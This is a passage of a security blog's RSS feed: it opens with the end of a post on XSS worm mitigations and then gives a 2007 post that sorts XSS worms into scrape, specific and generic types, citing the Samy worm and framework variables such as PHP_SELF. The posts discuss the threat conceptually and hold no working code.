<p>This is an excellent suggestion and one that most companies should already have in place via proxy servers. However, this doesn&#8217;t really help our home users and looking at <a href="http://xssed.com">xssed.com</a>, I don&#8217;t think whitelists are going to help a great deal right now, but certainly in the future.</p>

<blockquote>Developers should use a vul-IDE tool to alert them of poor code decisions;</blockquote>

<p>Yes this would help to a degree, but again the costs and complexity of these tools are not attractive to the general market. </p>

<blockquote>Logging and alerting on web applications to detect attacks;</blockquote>

<p>Every company should already be doing this. This would really require human intervention which is costly as XSS attacks can be represented in a variety of ways making it very difficult for alerting systems to detect. Also, some XSS vectors may be DOM or browser based, so the attack materialises on the client-side rather then via the network.</p>

<blockquote>Security testing is optional</blockquote>

<p>Car manufacturers would NEVER release a car onto the market without sufficient safety and quality assurance tests, why would software be any different? Looking over the above options, security testing is probably one of the most cost-effective and security-effective solutions available.</p>

<p><em>Some interesting and well-thought ideas there by ntp. I think these mitigation controls or atleast most of them are to be used in policies later on after we have solved the initial problems. The initial challenge can be summed up in these wise words, &quot;How do you eat an elephant? One peice at a time&quot;. I think we are in for the long-haul, a quick solution just wont cut it; carefully thought out procedures, standards and metrics need to be in place first.</em></p> <p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/xss-worms-and-mitigation-controls/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>The Generic XSS Worm</title>
		<link>http://www.gnucitizen.org/blog/the-generic-xss-worm/</link>
		<comments>http://www.gnucitizen.org/blog/the-generic-xss-worm/#comments</comments>
		<pubDate>Wed, 20 Jun 2007 22:52:15 +0000</pubDate>
		<dc:creator>dkza</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-generic-xss-worm</guid>
		<description><![CDATA[When we think of computer worms, we generally think about operating-system based worms such as the famous Code Red, which replicated itself 250,000 times in approximately nine hours on July 19, 2001. Its replication was made possible by a vulnerability within MS Windows platform. Firewalls and defense in depth help mitigate the spread of worms by providing layers of protection between public and private networks; however, a new age worm is upon us, the XSS Worm aka the Web 2.0 worm. [...]]]></description>
			<content:encoded><![CDATA[<p>When we think of computer worms, we generally think about operating-system based worms such as the famous Code Red, which replicated itself 250,000 times in approximately nine hours on July 19, 2001. Its replication was made possible by a vulnerability within MS Windows platform. Firewalls and defense in depth help mitigate the spread of worms by providing layers of protection between public and private networks; however, a new age worm is upon us, the XSS Worm aka the Web 2.0 worm.</p>

<p>The Samy XSS Worm &#8211; the first of its kind to make headlines carried a payload that would display the string <q>but most of all, Samy is my hero</q> on a victim&#8217;s profile. When a user viewed that profile, the worm would infect the visitor&#8217;s profile via a Cross-Site Scripting payload. Within just 20 hours, of its October 4, 2005 release, over one million user profiles were infected, making Samy one of the fastest spreading viruses of all time. In this post, I am going to summarize several publicly discussed JavaScript Malware techniques and depict how future worms may look like, based on what we have today.</p>

<p>XSS is a powerful engine on which to build a platform independent virus and whether we are ready or not, attackers are definitely going to be utilising these techniques in the future and the ground work and education factors must be put into place now. Think about this, an XSS engine has the potential to propagate much faster than an operating-system based worm, requires less effort in many cases (not all), requires little or no authentication and is client-side which means the XSS engine can propagate across network boundaries utilising the userâ€™s circle of trust. This is almost the antithesis of traditional worms, which are server-side meaning it struggles to propagate over network boundaries and they usually require high operating-system level access.</p>

<p>XSS engines will require these fundamentals:</p>

<ul>
<li>ability to identify targets (the XSS vulnerability);</li>
<li>an XSS payload (the purpose or exploit); and </li>
<li>continuity (the propagation technique). </li>
</ul>

<p>This article will introduce Scrape, Specific and Generic XSS engines.</p>

<h3>Scrape</h3>

<p>Scrape XSS Worms utilise external resources to identify targets (i.e. Google, xssed.com) &#8211; pdp recently released an article titled, <a href="http://www.gnucitizen.org/blog/the-next-super-worm">The Next Super Worm</a> which basically uses <a href="http://xssed.com">xssed.com</a> to identify vulnerable targets.  Note that this example &quot;scrapes&quot; the targets from a third party resource.</p>

<h3>Specific</h3>

<p>Specific XSS Worms usually have an individual target &#8211; the Samy XSS worm is a perfect example here. It exploited a specific vulnerability in a specific target. Its focus is not to spread across network(s) but rather to remain in once place infecting a particular aspect of a website or service.</p> 

<h3>Generic</h3>

<p>Generic XSS Worms which make assumptions &#8211; an example here would be a worm which exploits environment variables in application frameworks like PHP&#8217;s <code>$_SERVER['PHP_SELF']</code>. This method is ideal for blind XSS worms, where you do not know what the web server is running ( i.e. my <a href="http://michaeldaw.org/news/news-100607/">wp-scanner</a> tool uses generic XSS tests to find vulnerabilities in WordPress themes; it doesn&#8217;t care what theme the user is running). Another really good example is Solarius&#8217;s recently found XSS <a href="http://www.securityfocus.com/bid/23832">vulnerability</a> in ASP.NET&#8217;s <code>PATH_INFO</code> variable which affects the latest version of SharePoint and possibly many other ASP.NET applications. The Generic XSS engine category could also extend to include web server or application flaws (i.e. XST, Universal PDF XSS etc).</p>

<p><em>I hope I have given you some fruit for thought, and to encourage the Internet community to move forward in coming up with new techniques, methods and strategies to combat the rise of client-side flaws. Web 2.0 security will require us to lengthen our strides if we are to come up with effective solutions; a number of excellent contributions and ideas have already begun and we encourage these individuals and organizations to continue on.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/the-generic-xss-worm/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

